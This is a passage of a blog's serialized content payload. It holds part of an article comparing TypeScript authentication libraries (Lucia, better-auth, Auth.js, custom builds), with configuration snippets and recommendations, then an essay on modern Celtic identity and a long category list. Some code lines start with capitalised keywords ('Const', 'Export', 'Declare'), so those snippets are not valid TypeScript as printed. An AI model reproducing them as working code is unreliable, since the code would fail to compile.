process.env.NODE_ENV === \"production\",\n sameSite: \"lax\",\n },\n },\n getUserAttributes: (attributes) => {\n return {\n email: attributes.email,\n role: attributes.role,\n };\n },\n});\n\nDeclare module \"lucia\" {\n interface Register {\n Lucia: typeof lucia;\n DatabaseUserAttributes: {\n email: string;\n role: \"admin\" | \"user\";\n };\n }\n}\n",[40,12392,12393,12407,12421,12435,12439,12454,12458,12477,12482,12487,12503,12512,12516,12520,12537,12543,12548,12553,12558,12562,12566,12570,12582,12592,12604,12613,12623,12640,12644,12648],{"__ignoreMap":84},[88,12394,12395,12397,12400,12402,12405],{"class":90,"line":91},[88,12396,95],{"class":94},[88,12398,12399],{"class":98}," { Lucia } ",[88,12401,102],{"class":94},[88,12403,12404],{"class":105}," \"lucia\"",[88,12406,109],{"class":98},[88,12408,12409,12411,12414,12416,12419],{"class":90,"line":112},[88,12410,95],{"class":94},[88,12412,12413],{"class":98}," { PrismaAdapter } ",[88,12415,102],{"class":94},[88,12417,12418],{"class":105}," \"@lucia-auth/adapter-prisma\"",[88,12420,109],{"class":98},[88,12422,12423,12425,12428,12430,12433],{"class":90,"line":119},[88,12424,95],{"class":94},[88,12426,12427],{"class":98}," { prisma } ",[88,12429,102],{"class":94},[88,12431,12432],{"class":105}," \"./db\"",[88,12434,109],{"class":98},[88,12436,12437],{"class":90,"line":166},[88,12438,116],{"emptyLinePlaceholder":115},[88,12440,12441,12444,12446,12448,12451],{"class":90,"line":191},[88,12442,12443],{"class":98},"Const adapter ",[88,12445,805],{"class":94},[88,12447,971],{"class":94},[88,12449,12450],{"class":131}," PrismaAdapter",[88,12452,12453],{"class":98},"(prisma.session, prisma.user);\n",[88,12455,12456],{"class":90,"line":208},[88,12457,116],{"emptyLinePlaceholder":115},[88,12459,12460,12462,12464,12467,12469,12471,12474],{"class":90,"line":509},[88,12461,122],{"class":98},[88,12463,2021],{"class":94},[88,12465,12466],{"class":145}," lucia",[88,12468,175],{"class":94},[88,12470,971],{"class":94},[88,12472,12473],{"class":131}," Lucia",[88,12475,12476],{"class":98},"(adapter, {\n",[88,12478,12479],{"class":90,"line":520},[88,12480,12481],{"class":98}," sessionCookie: {\n",[88,12483,12484],{"class":90,"line":526},[88,12485,12486],{"class":98}," attributes: {\n",[88,12488,12489,12492,12495,12498,12501],{"class":90,"line":532},[88,12490,12491],{"class":98}," secure: process.env.",[88,12493,12494],{"class":145},"NODE_ENV",[88,12496,12497],{"class":94}," ===",[88,12499,12500],{"class":105}," \"production\"",[88,12502,287],{"class":98},[88,12504,12505,12507,12510],{"class":90,"line":815},[88,12506,11412],{"class":98},[88,12508,12509],{"class":105},"\"lax\"",[88,12511,287],{"class":98},[88,12513,12514],{"class":90,"line":858},[88,12515,406],{"class":98},[88,12517,12518],{"class":90,"line":882},[88,12519,406],{"class":98},[88,12521,12522,12525,12528,12531,12533,12535],{"class":90,"line":906},[88,12523,12524],{"class":131}," getUserAttributes",[88,12526,12527],{"class":98},": (",[88,12529,12530],{"class":138},"attributes",[88,12532,728],{"class":98},[88,12534,731],{"class":94},[88,12536,452],{"class":98},[88,12538,12539,12541],{"class":90,"line":936},[88,12540,194],{"class":94},[88,12542,452],{"class":98},[88,12544,12545],{"class":90,"line":941},[88,12546,12547],{"class":98}," email: attributes.email,\n",[88,12549,12550],{"class":90,"line":952},[88,12551,12552],{"class":98}," role: attributes.role,\n",[88,12554,12555],{"class":90,"line":963},[88,12556,12557],{"class":98}," };\n",[88,12559,12560],{"class":90,"line":979},[88,12561,406],{"class":98},[88,12563,12564],{"class":90,"line":984},[88,12565,411],{"class":98},[88,12567,12568],{"class":90,"line":1002},[88,12569,116],{"emptyLinePlaceholder":115},[88,12571,12572,12575,12578,12580],{"class":90,"line":1012},[88,12573,12574],{"class":98},"Declare ",[88,12576,12577],{"class":94},"module",[88,12579,12404],{"class":105},[88,12581,452],{"class":98},[88,12583,12584,12587,12590],{"class":90,"line":1017},[88,12585,12586],{"class":94}," interface",[88,12588,12589],{"class":131}," Register",[88,12591,452],{"class":98},[88,12593,12594,12596,12598,12601],{"class":90,"line":1022},[88,12595,12473],{"class":138},[88,12597,142],{"class":94},[88,12599,12600],{"class":94}," typeof",[88,12602,12603],{"class":98}," lucia;\n",[88,12605,12606,12609,12611],{"class":90,"line":1043},[88,12607,12608],{"class":138}," DatabaseUserAttributes",[88,12610,142],{"class":94},[88,12612,452],{"class":98},[88,12614,12615,12617,12619,12621],{"class":90,"line":1064},[88,12616,3307],{"class":138},[88,12618,142],{"class":94},[88,12620,146],{"class":145},[88,12622,109],{"class":98},[88,12624,12625,12628,12630,12633,12635,12638],{"class":90,"line":1075},[88,12626,12627],{"class":138}," role",[88,12629,142],{"class":94},[88,12631,12632],{"class":105}," \"admin\"",[88,12634,833],{"class":94},[88,12636,12637],{"class":105}," \"user\"",[88,12639,109],{"class":98},[88,12641,12642],{"class":90,"line":1083},[88,12643,12557],{"class":98},[88,12645,12646],{"class":90,"line":1088},[88,12647,523],{"class":98},[88,12649,12650],{"class":90,"line":1093},[88,12651,211],{"class":98},[19,12653,12654,12655,12658,12659,12662,12663,4474,12665,12668,12669,12672],{},"Notice the ",[40,12656,12657],{},"declare module"," block at the bottom. This is where Lucia earns its keep in TypeScript projects — your session user attributes are fully typed throughout your entire application. When you call ",[40,12660,12661],{},"lucia.validateSession(sessionId)",", the returned user object has ",[40,12664,5957],{},[40,12666,12667],{},"role"," as properly typed fields, not some ",[40,12670,12671],{},"Record\u003Cstring, unknown>"," you have to cast.",[19,12674,12675],{},"The tradeoff is clear: Lucia gives you typed sessions and nothing else. You write your own login endpoint, your own registration flow, your own password reset. For teams that want full control over the authentication UX and already have opinions about how password hashing and email verification should work, this is a feature. For teams that want to ship fast, it is a cost.",[26,12677,12679],{"id":12678},"better-auth-convention-over-configuration","Better-Auth: Convention Over Configuration",[19,12681,12682],{},"Better-auth takes the opposite approach. It is batteries-included authentication for TypeScript — you configure it once, and it gives you login, registration, password reset, email verification, OAuth, session management, and an admin panel.",[79,12684,12686],{"className":81,"code":12685,"language":83,"meta":84,"style":84},"import { betterAuth } from \"better-auth\";\nimport { prismaAdapter } from \"better-auth/adapters/prisma\";\nimport { prisma } from \"./db\";\n\nExport const auth = betterAuth({\n database: prismaAdapter(prisma, {\n provider: \"postgresql\",\n }),\n emailAndPassword: {\n enabled: true,\n requireEmailVerification: true,\n },\n socialProviders: {\n github: {\n clientId: process.env.GITHUB_CLIENT_ID!,\n clientSecret: process.env.GITHUB_CLIENT_SECRET!,\n },\n google: {\n clientId: process.env.GOOGLE_CLIENT_ID!,\n clientSecret: process.env.GOOGLE_CLIENT_SECRET!,\n },\n },\n session: {\n expiresIn: 60 * 60 * 24 * 7, // 7 days\n updateAge: 60 * 60 * 24, // refresh daily\n },\n});\n",[40,12687,12688,12702,12716,12728,12732,12748,12759,12769,12774,12779,12788,12797,12801,12806,12811,12823,12835,12839,12844,12855,12866,12870,12874,12879,12904,12924,12928],{"__ignoreMap":84},[88,12689,12690,12692,12695,12697,12700],{"class":90,"line":91},[88,12691,95],{"class":94},[88,12693,12694],{"class":98}," { betterAuth } ",[88,12696,102],{"class":94},[88,12698,12699],{"class":105}," \"better-auth\"",[88,12701,109],{"class":98},[88,12703,12704,12706,12709,12711,12714],{"class":90,"line":112},[88,12705,95],{"class":94},[88,12707,12708],{"class":98}," { prismaAdapter } ",[88,12710,102],{"class":94},[88,12712,12713],{"class":105}," \"better-auth/adapters/prisma\"",[88,12715,109],{"class":98},[88,12717,12718,12720,12722,12724,12726],{"class":90,"line":119},[88,12719,95],{"class":94},[88,12721,12427],{"class":98},[88,12723,102],{"class":94},[88,12725,12432],{"class":105},[88,12727,109],{"class":98},[88,12729,12730],{"class":90,"line":166},[88,12731,116],{"emptyLinePlaceholder":115},[88,12733,12734,12736,12738,12741,12743,12746],{"class":90,"line":191},[88,12735,122],{"class":98},[88,12737,2021],{"class":94},[88,12739,12740],{"class":145}," auth",[88,12742,175],{"class":94},[88,12744,12745],{"class":131}," betterAuth",[88,12747,5944],{"class":98},[88,12749,12750,12753,12756],{"class":90,"line":208},[88,12751,12752],{"class":98}," database: ",[88,12754,12755],{"class":131},"prismaAdapter",[88,12757,12758],{"class":98},"(prisma, {\n",[88,12760,12761,12764,12767],{"class":90,"line":509},[88,12762,12763],{"class":98}," provider: ",[88,12765,12766],{"class":105},"\"postgresql\"",[88,12768,287],{"class":98},[88,12770,12771],{"class":90,"line":520},[88,12772,12773],{"class":98}," }),\n",[88,12775,12776],{"class":90,"line":526},[88,12777,12778],{"class":98}," emailAndPassword: {\n",[88,12780,12781,12784,12786],{"class":90,"line":532},[88,12782,12783],{"class":98}," enabled: ",[88,12785,1991],{"class":145},[88,12787,287],{"class":98},[88,12789,12790,12793,12795],{"class":90,"line":815},[88,12791,12792],{"class":98}," requireEmailVerification: ",[88,12794,1991],{"class":145},[88,12796,287],{"class":98},[88,12798,12799],{"class":90,"line":858},[88,12800,406],{"class":98},[88,12802,12803],{"class":90,"line":882},[88,12804,12805],{"class":98}," socialProviders: {\n",[88,12807,12808],{"class":90,"line":906},[88,12809,12810],{"class":98}," github: {\n",[88,12812,12813,12816,12819,12821],{"class":90,"line":936},[88,12814,12815],{"class":98}," clientId: process.env.",[88,12817,12818],{"class":145},"GITHUB_CLIENT_ID",[88,12820,2208],{"class":94},[88,12822,287],{"class":98},[88,12824,12825,12828,12831,12833],{"class":90,"line":941},[88,12826,12827],{"class":98}," clientSecret: process.env.",[88,12829,12830],{"class":145},"GITHUB_CLIENT_SECRET",[88,12832,2208],{"class":94},[88,12834,287],{"class":98},[88,12836,12837],{"class":90,"line":952},[88,12838,406],{"class":98},[88,12840,12841],{"class":90,"line":963},[88,12842,12843],{"class":98}," google: {\n",[88,12845,12846,12848,12851,12853],{"class":90,"line":979},[88,12847,12815],{"class":98},[88,12849,12850],{"class":145},"GOOGLE_CLIENT_ID",[88,12852,2208],{"class":94},[88,12854,287],{"class":98},[88,12856,12857,12859,12862,12864],{"class":90,"line":984},[88,12858,12827],{"class":98},[88,12860,12861],{"class":145},"GOOGLE_CLIENT_SECRET",[88,12863,2208],{"class":94},[88,12865,287],{"class":98},[88,12867,12868],{"class":90,"line":1002},[88,12869,406],{"class":98},[88,12871,12872],{"class":90,"line":1012},[88,12873,406],{"class":98},[88,12875,12876],{"class":90,"line":1017},[88,12877,12878],{"class":98}," session: {\n",[88,12880,12881,12884,12887,12889,12891,12893,12895,12897,12900,12902],{"class":90,"line":1022},[88,12882,12883],{"class":98}," expiresIn: ",[88,12885,12886],{"class":145},"60",[88,12888,11431],{"class":94},[88,12890,11439],{"class":145},[88,12892,11431],{"class":94},[88,12894,11434],{"class":145},[88,12896,11431],{"class":94},[88,12898,12899],{"class":145}," 7",[88,12901,483],{"class":98},[88,12903,11453],{"class":346},[88,12905,12906,12909,12911,12913,12915,12917,12919,12921],{"class":90,"line":1043},[88,12907,12908],{"class":98}," updateAge: ",[88,12910,12886],{"class":145},[88,12912,11431],{"class":94},[88,12914,11439],{"class":145},[88,12916,11431],{"class":94},[88,12918,11434],{"class":145},[88,12920,483],{"class":98},[88,12922,12923],{"class":346},"// refresh daily\n",[88,12925,12926],{"class":90,"line":1064},[88,12927,406],{"class":98},[88,12929,12930],{"class":90,"line":1075},[88,12931,411],{"class":98},[19,12933,12934],{},"That configuration gives you a complete authentication system. Better-auth generates the database tables it needs, provides API endpoints you can mount on your server, and ships a client SDK for your frontend. If you are building a new application and want to spend your time on business logic instead of auth plumbing, this is compelling.",[19,12936,12937],{},"The cost is flexibility. Better-auth has opinions about your database schema. It wants specific table names and column structures. If you have an existing user table with a different shape, you are going to fight the framework. And when you need to customize behavior — say, adding a custom claim to sessions or integrating with an external identity provider that is not in the supported list — you are working within someone else's abstraction.",[26,12939,12941],{"id":12940},"nextauthauthjs-the-ecosystem-play","NextAuth/Auth.js: The Ecosystem Play",[19,12943,12944],{},"Auth.js (the framework-agnostic evolution of NextAuth) is the most widely deployed TypeScript auth library. It has the largest ecosystem of providers, the most Stack Overflow answers, and the most battle-tested production deployments.",[19,12946,12947],{},"If you are building with Next.js, Auth.js is the path of least resistance. The integration is tight, the documentation assumes your stack, and most tutorials you find will use it.",[19,12949,12950],{},"But Auth.js has real limitations that show up in production. The session strategy defaults to JWT, which means logout does not actually invalidate anything — the token is valid until it expires. You can switch to database sessions, but the documentation buries this and the default behavior surprises teams who expect logout to work immediately. The TypeScript types have improved significantly, but the adapter interface is still looser than I would like. And if you are not using Next.js, the framework-agnostic version works but feels like an afterthought compared to the Next.js integration.",[19,12952,12953],{},"I reach for Auth.js when building Next.js applications for clients who need something proven and widely understood by future developers who will maintain the codebase. I do not reach for it when I need precise control over session behavior.",[26,12955,12957],{"id":12956},"rolling-your-own-when-it-makes-sense","Rolling Your Own: When It Makes Sense",[19,12959,12960],{},"The conventional wisdom is \"never roll your own auth.\" That is good advice for most teams. But there are legitimate reasons to build authentication from scratch, and pretending otherwise is not honest.",[19,12962,12963],{},"You should consider building your own authentication when you have compliance requirements that no library satisfies out of the box — think FedRAMP, healthcare systems with specific audit logging mandates, or financial applications where every authentication event must be recorded in a specific format. When the cost of bending a library to meet your requirements exceeds the cost of building from proven primitives, building makes sense.",[19,12965,12966,12967,12971],{},"The key phrase is \"proven primitives.\" Rolling your own does not mean implementing your own bcrypt. It means using Argon2id for password hashing, using your database for session storage, implementing CSRF protection with double-submit cookies, and wiring it all together yourself. You are assembling known-good components, not inventing cryptography. I have written about the fundamentals that underpin this approach in my ",[571,12968,12970],{"href":12969},"/blog/authentication-security-guide","authentication security guide"," — if you are going this route, that is prerequisite reading.",[19,12973,12974],{},"For the vast majority of projects, a library is the right choice. The edge cases where custom auth is justified are real but rare.",[26,12976,12978],{"id":12977},"decision-matrix","Decision Matrix",[19,12980,12981],{},"Here is how I think about the choice, based on the variables that actually matter:",[1462,12983,12985],{"id":12984},"solo-developer-or-small-team-new-project-ship-fast","Solo developer or small team, new project, ship fast",[19,12987,12988,12991],{},[5027,12989,12990],{},"Pick better-auth."," The convention-over-configuration approach means you spend an afternoon on auth instead of a week. The opinions it imposes on your schema are reasonable, and you are not fighting an existing database.",[1462,12993,12995],{"id":12994},"existing-application-established-database-schema","Existing application, established database schema",[19,12997,12998,13001],{},[5027,12999,13000],{},"Pick Lucia."," You need session management that adapts to your schema, not a library that demands you adapt to it. Lucia's adapter model lets you slot sessions into whatever you already have.",[1462,13003,13005],{"id":13004},"nextjs-application-team-will-have-future-developers","Next.js application, team will have future developers",[19,13007,13008,13011],{},[5027,13009,13010],{},"Pick Auth.js."," The ecosystem advantage matters for hiring and onboarding. Future developers will recognize the patterns. The JWT-session tradeoff is manageable if you understand it going in.",[1462,13013,13015],{"id":13014},"strict-compliance-unusual-audit-requirements","Strict compliance, unusual audit requirements",[19,13017,13018,13021,13022,483,13025,13028,13029,13032],{},[5027,13019,13020],{},"Build from primitives."," But only if your team has senior engineers who understand ",[571,13023,13024],{"href":12969},"session management",[571,13026,13027],{"href":6317},"CSRF protection",", and ",[571,13030,13031],{"href":11559},"token security"," deeply. This is not a task for junior developers.",[1462,13034,13036],{"id":13035},"team-size-under-5-standard-saas-product","Team size under 5, standard SaaS product",[19,13038,13039,13042],{},[5027,13040,13041],{},"Pick better-auth or Lucia",", depending on whether you value speed (better-auth) or control (Lucia). Either is a solid choice. Auth.js is fine too if you are already on Next.js.",[26,13044,13046],{"id":13045},"my-recommendation-for-most-projects","My Recommendation for Most Projects",[19,13048,13049],{},"If I am starting a new TypeScript project today and the team asks me to choose an auth solution, I am picking better-auth for most cases. The development speed advantage is real, the TypeScript integration is strong, and the default security posture is solid. You get session-based auth with proper invalidation, password hashing with Argon2id, CSRF protection, and rate limiting without writing any of it yourself.",[19,13051,13052],{},"If the project has an existing database with a user table that cannot change shape, or if I need authentication to work across multiple services that do not share a database, I am picking Lucia. The minimal surface area is an advantage when you need to integrate authentication into a system rather than build a system around authentication.",[19,13054,13055,13056,13060],{},"And whatever you pick, get ",[571,13057,13059],{"href":13058},"/blog/data-encryption-guide","your encryption story right"," before you go to production. Authentication tells you who someone is. Encryption ensures that nobody else can read what they are doing. Both are non-negotiable.",[19,13062,13063],{},"The best auth library is the one your team understands completely. A simple Lucia setup that every developer on your team can debug at 2 AM is worth more than a sophisticated better-auth configuration that only one person understands. Pick the tool that matches your team's expertise, then invest the time to understand it deeply.",[565,13065],{},[26,13067,581],{"id":580},[583,13069,13070,13075,13079,13083],{},[586,13071,13072],{},[571,13073,13074],{"href":12969},"Authentication Security: What to Get Right Before Your First User Logs In",[586,13076,13077],{},[571,13078,11560],{"href":11559},[586,13080,13081],{},[571,13082,6318],{"href":6317},[586,13084,13085],{},[571,13086,13087],{"href":13058},"Data Encryption in Applications: At Rest, In Transit, and In Memory",[611,13089,13090],{},"html pre.shiki code .snl16, html code.shiki .snl16{--shiki-default:#F97583}html pre.shiki code .s95oV, html code.shiki .s95oV{--shiki-default:#E1E4E8}html pre.shiki code .sU2Wk, html code.shiki .sU2Wk{--shiki-default:#9ECBFF}html pre.shiki code .svObZ, html code.shiki .svObZ{--shiki-default:#B392F0}html pre.shiki code .sDLfK, html code.shiki .sDLfK{--shiki-default:#79B8FF}html pre.shiki code .s9osk, html code.shiki .s9osk{--shiki-default:#FFAB70}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAwPA, html code.shiki .sAwPA{--shiki-default:#6A737D}",{"title":84,"searchDepth":119,"depth":119,"links":13092},[13093,13094,13095,13096,13097,13098,13105,13106],{"id":12347,"depth":112,"text":12348},{"id":12374,"depth":112,"text":12375},{"id":12678,"depth":112,"text":12679},{"id":12940,"depth":112,"text":12941},{"id":12956,"depth":112,"text":12957},{"id":12977,"depth":112,"text":12978,"children":13099},[13100,13101,13102,13103,13104],{"id":12984,"depth":119,"text":12985},{"id":12994,"depth":119,"text":12995},{"id":13004,"depth":119,"text":13005},{"id":13014,"depth":119,"text":13015},{"id":13035,"depth":119,"text":13036},{"id":13045,"depth":112,"text":13046},{"id":580,"depth":112,"text":581},"2026-03-02","A practical comparison of TypeScript authentication approaches in 2026 — Lucia, better-auth, NextAuth, and custom solutions — with clear guidance on when each makes sense.",[13110,13111,13112,13113,13114],"typescript authentication 2026","lucia auth guide","better-auth vs lucia","nextauth alternative","modern authentication typescript",{},"/blog/modern-auth-typescript-2026",{"title":12332,"description":13108},"blog/modern-auth-typescript-2026",[13120,13121,6334,13122,13123],"Authentication","TypeScript","Lucia Auth","Web Development","4w3YeoP24JluPnpuufqJetrU8YiJHa2SJHiQJ0JrVYg",{"id":13126,"title":13127,"author":13128,"body":13129,"category":10308,"date":13205,"description":13206,"extension":629,"featured":630,"image":631,"keywords":13207,"meta":13213,"navigation":115,"path":13214,"readTime":520,"seo":13215,"stem":13216,"tags":13217,"__hash__":13223},"blog/blog/celtic-identity-modern-world.md","Celtic Identity in the Modern World: What Does It Mean Today?",{"name":9,"bio":10},{"type":12,"value":13130,"toc":13199},[13131,13135,13138,13141,13148,13152,13160,13163,13167,13175,13183,13186,13189,13193,13196],[26,13132,13134],{"id":13133},"the-celtic-question","The Celtic Question",[19,13136,13137],{},"Ask someone at a Highland games or a St. Patrick's Day parade what it means to be Celtic, and you will get answers that range from the genetic to the cultural to the spiritual. My DNA says I am Celtic. My family came from Scotland. I feel a connection to the land. I speak Irish. I play the pipes. I just know. Each of these answers contains a truth, but none of them is the whole truth, and the gap between them reveals a fundamental tension in how Celtic identity is understood in the modern world.",[19,13139,13140],{},"The word Celtic itself is contested. Linguists use it to describe a family of languages: Irish, Scottish Gaelic, Welsh, Cornish, Breton, and Manx. Archaeologists have largely abandoned the term as a descriptor for prehistoric cultures, recognizing that the peoples once lumped together as Celts were far more diverse than the label implies. Geneticists point out that the populations of the Celtic nations are not unified by a single genetic marker but are the products of multiple migrations over thousands of years. And yet the word persists, carrying emotional weight that academic precision cannot dissolve.",[19,13142,13143,13144,393],{},"The six Celtic nations, Ireland, Scotland, Wales, Cornwall, Brittany, and the Isle of Man, are the core of the modern Celtic world, defined primarily by the survival or revival of Celtic languages within their borders. This linguistic definition is the most defensible, but it excludes millions of people who feel Celtic but do not speak a Celtic language, including the vast majority of the global ",[571,13145,13147],{"href":13146},"/blog/highland-clearances-clan-ross-diaspora","Scottish and Irish diaspora",[26,13149,13151],{"id":13150},"identity-through-language","Identity Through Language",[19,13153,13154,13155,13159],{},"Language is the most rigorous criterion for Celtic identity, and the most demanding. The six Celtic languages are all under pressure. Welsh is the healthiest, with more than half a million speakers. Irish has constitutional status but is spoken daily by a small minority. ",[571,13156,13158],{"href":13157},"/blog/scottish-gaelic-language-history","Scottish Gaelic"," is spoken by fewer than 60,000 people. Cornish and Manx both died as community languages and are being revived. Breton faces pressure from French.",[19,13161,13162],{},"For those who speak a Celtic language, the language is identity. It shapes thought, mediates experience, and connects the speaker to a literary tradition stretching back over a millennium. But insisting that Celtic identity requires language proficiency would exclude the vast majority of people who identify as Celtic, including most of Scotland and Ireland. The languages were suppressed by political action over centuries, and holding descendants to a standard their great-grandparents were punished for meeting would be perverse.",[26,13164,13166],{"id":13165},"identity-through-ancestry-and-culture","Identity Through Ancestry and Culture",[19,13168,13169,13170,13174],{},"The explosion of consumer DNA testing has given millions a new way to claim Celtic identity. ",[571,13171,13173],{"href":13172},"/blog/y-dna-haplogroups-explained","Y-DNA haplogroups"," and autosomal ancestry estimates tell a real story about population history, but genetics is a blunt instrument for identity. A person with 40% Scottish ancestry and no knowledge of Scottish traditions has a genetic connection but not necessarily a cultural one. Conversely, someone with no Scottish DNA who has learned Gaelic, studied the tradition, and participates in the community has a cultural connection that DNA cannot provide.",[19,13176,13177,13178,13182],{},"Culture is arguably the most meaningful basis for Celtic identity. Participation in the living traditions, music, dance, literature, food, ",[571,13179,13181],{"href":13180},"/blog/celtic-festivals-worldwide","festivals",", and storytelling, constitutes belonging open to anyone willing to learn and engage.",[19,13184,13185],{},"This cultural model has deep roots. The historical clans of Scotland were not purely genetic units; they included families of diverse origins united by allegiance to a chief and connection to a territory. The idea that you had to carry a specific bloodline to be part of the clan is a modern misunderstanding of a more fluid historical reality.",[19,13187,13188],{},"The cultural model also has limitations. Culture that is consumed rather than lived can become identity tourism that contributes little to the survival of the traditions it claims to honor. The challenge is to create pathways that lead people from superficial engagement toward genuine participation.",[26,13190,13192],{"id":13191},"what-it-means-now","What It Means Now",[19,13194,13195],{},"Celtic identity in the twenty-first century is best understood as a spectrum. At one end are the native speakers, the inheritors of a continuous tradition. At the other are people with a distant genetic connection. In between are millions at various points of engagement: learning a language, attending gatherings, researching family history, or participating in the musical tradition.",[19,13197,13198],{},"What matters most is that the living elements of Celtic culture continue to be practiced and transmitted. Identity without practice is nostalgia. Practice without identity is academic exercise. Together, they constitute a tradition that has survived centuries of suppression and continues to offer something valuable: a sense of belonging to a story larger than any individual life, and a cultural inheritance that, while it cannot be quantified by a DNA test, can be felt, lived, and passed on.",{"title":84,"searchDepth":119,"depth":119,"links":13200},[13201,13202,13203,13204],{"id":13133,"depth":112,"text":13134},{"id":13150,"depth":112,"text":13151},{"id":13165,"depth":112,"text":13166},{"id":13191,"depth":112,"text":13192},"2026-03-01","Millions of people claim Celtic heritage, but what does Celtic identity actually mean in the twenty-first century? From genetics to culture to politics, the answer is more complex than any tartan-draped celebration might suggest.",[13208,13209,13210,13211,13212],"celtic identity modern world","what is celtic identity","celtic heritage meaning","celtic nations today","modern celtic culture",{},"/blog/celtic-identity-modern-world",{"title":13127,"description":13206},"blog/celtic-identity-modern-world",[13218,13219,13220,13221,13222],"Celtic Identity","Scottish Heritage","Irish Heritage","Celtic Culture","Cultural Identity","FtN3fvTYjjF7PvJDOI9fiWAGqf1PlMtDPLEwkaLzy80",[13225,13226,13227,13229,13230,13232,13233,13234,13235,13236,13237,13238,13239,13240,13241,13242,13243,13244,13245,13246,13247,13248,13249,13250,13251,13252,13253,13254,13255,13256,13257,13258,13259,13260,13261,13262,13263,13264,13265,13266,13267,13268,13269,13270,13271,13272,13273,13274,13275,13276,13277,13278,13279,13280,13281,13282,13283,13284,13285,13286,13287,13288,13289,13290,13291,13292,13293,13294,13295,13296,13297,13298,13299,13300,13301,13302,13303,13304,13305,13306,13307,13308,13309,13310,13311,13312,13313,13314,13315,13316,13317,13318,13319,13320,13321,13322,13323,13324,13325,13326,13327,13328,13329,13330,13331,13332,13333,13334,13335,13336,13337,13338,13339,13340,13341,13342,13343,13344,13345,13346,13347,13348,13349,13350,13351,13352,13353,13354,13355,13356,13357,13358,13359,13360,13361,13362,13363,13364,13365,13366,13367,13368,13369,13370,13371,13372,13373,13374,13375,13376,13377,13378,13379,13380,13381,13382,13383,13384,13385,13386,13387,13388,13389,13390,13391,13392,13393,13394,13395,13396,13397,13398,13399,13400,13401,13402,13403,13404,13405,13406,13407,13408,13409,13410,13411,13412,13413,13414,13415,13416,13417,13418,13419,13420,13421,13422,13423,13424,13425,13426,13427,13428,13429,13430,13431,13432,13433,13434,13435,13436,13437,13438,13439,13440,13441,13442,13443,13444,13445,13446,13447,13448,13449,13450,13451,13452,13453,13454,13455,13456,13457,13458,13459,13460,13461,13462,13463,13464,13465,13466,13467,13468,13469,13470,13471,13472,13473,13474,13475,13476,13477,13478,13479,13480,13481,13482,13483,13484,13485,13486,13487,13488,13489,13490,13491,13492,13493,13494,13495,13496,13497,13498,13499,13500,13501,13502,13503,13504,13505,13506,13507,13508,13509,13510,13511,13512,13513,13514,13515,13516,13517,13518,13519,13520,13521,13522,13523,13524,13525,13526,13527,13528,13529,13530,13531,13532,13533,13534,13535,13536,13537,13538,13539,13540,13541,13542,13543,13544,13545,13546,13547,13548,13549,13550,13551,13552,13553,13554,13555,13556,13557,13558,13559,13560,13561,13562,13563,13564,13565,13566,13567,13568,13569,13570,13571,13572,13573,13574,13575,13576,13577,13578,13579,13580,13581,13582,13583,13584,13585,13586,13587,13588,13589,13590,13591,13592,13593,13594,13595,13596,13597,13598,13599,13600,13601,13602,13603,13604,13605,13606,13607,13608,13609,13610,13611,13612,13613,13614,13615,13616,13617,13618,13619,13620,13621,13622,13623,13624,13625,13626,13627,13628,13629,13630,13631,13632,13633,13634,13635,13636,13637,13638,13639,13640,13641,13642,13643,13644,13645,13646,13647,13648,13649,13650,13651,13652,13653,13654,13655,13656,13657,13658,13659,13660,13661,13662,13663,13664,13665,13666,13667,13668,13669,13670,13671,13672,13673,13674,13675,13676,13677,13678,13679,13680,13681,13682,13683,13684,13685,13686,13687,13688,13689,13690,13691,13692,13693,13694,13695,13696,13697,13699,13700,13701,13702,13703,13704,13705,13706,13707,13708,13709,13710,13711,13712,13713,13714,13715,13716,13717,13718,13719,13720,13721,13722,13723,13724,13725,13726,13727,13728,13729,13730,13731,13732,13733,13734,13735,13736,13737,13738,13739,13740,13741,13742,13743,13744,13745,13746,13747,13748,13749,13750,13751,13752,13753,13754,13755,13756,13757,13758,13759,13760,13761,13762,13763,13764,13765,13766,13767,13768,13769,13770,13771,13772,13773,13774,13775,13776,13777,13778,13779,13780,13781,13782,13783,13784,13785,13786,13787,13788,13789,13790,13791,13792,13793,13794,13795,13796,13797,13798,13799,13800,13801,13802,13803,13804,13805,13806,13807,13808,13809,13810,13811,13812,13813,13814,13815,13816,13817,13818,13819,13820,13821,13822,13823,13824,13825,13826,13827,13828,13829,13830,13831,13832,13833,13834,13835,13836,13837,13838,13839,13840,13841,13842,13843,13844,13845,13846,13847,13848,13849,13850,13851,13852,13853,13854,13855,13856,13857,13858,13859,13860,13861,13862,13863,13864,13865,13866,13867],{"category":642},{"category":10308},{"category":13228},"AI",{"category":3174},{"category":13231},"Business",{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":13228},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":9415},{"category":9415},{"category":3174},{"category":3174},{"category":9415},{"category":3174},{"category":3174},{"category":6334},{"category":6334},{"category":13231},{"category":13231},{"category":10308},{"category":6334},{"category":10308},{"category":9415},{"category":6334},{"category":3174},{"category":13231},{"category":626},{"category":13228},{"category":10308},{"category":3174},{"category":9415},{"category":3174},{"category":10308},{"category":10308},{"category":10308},{"category":9415},{"category":3174},{"category":9415},{"category":3174},{"category":3174},{"category":9415},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":626},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":3174},{"category":9778},{"category":13228},{"category":13228},{"category":13231},{"category":9415},{"category":13231},{"category":3174},{"category":3174},{"category":13231},{"category":3174},{"category":9415},{"category":3174},{"category":626},{"category":626},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":9415},{"category":9415},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":10308},{"category":13228},{"category":9415},{"category":13231},{"category":626},{"category":626},{"category":626},{"category":10308},{"category":3174},{"category":3174},{"category":103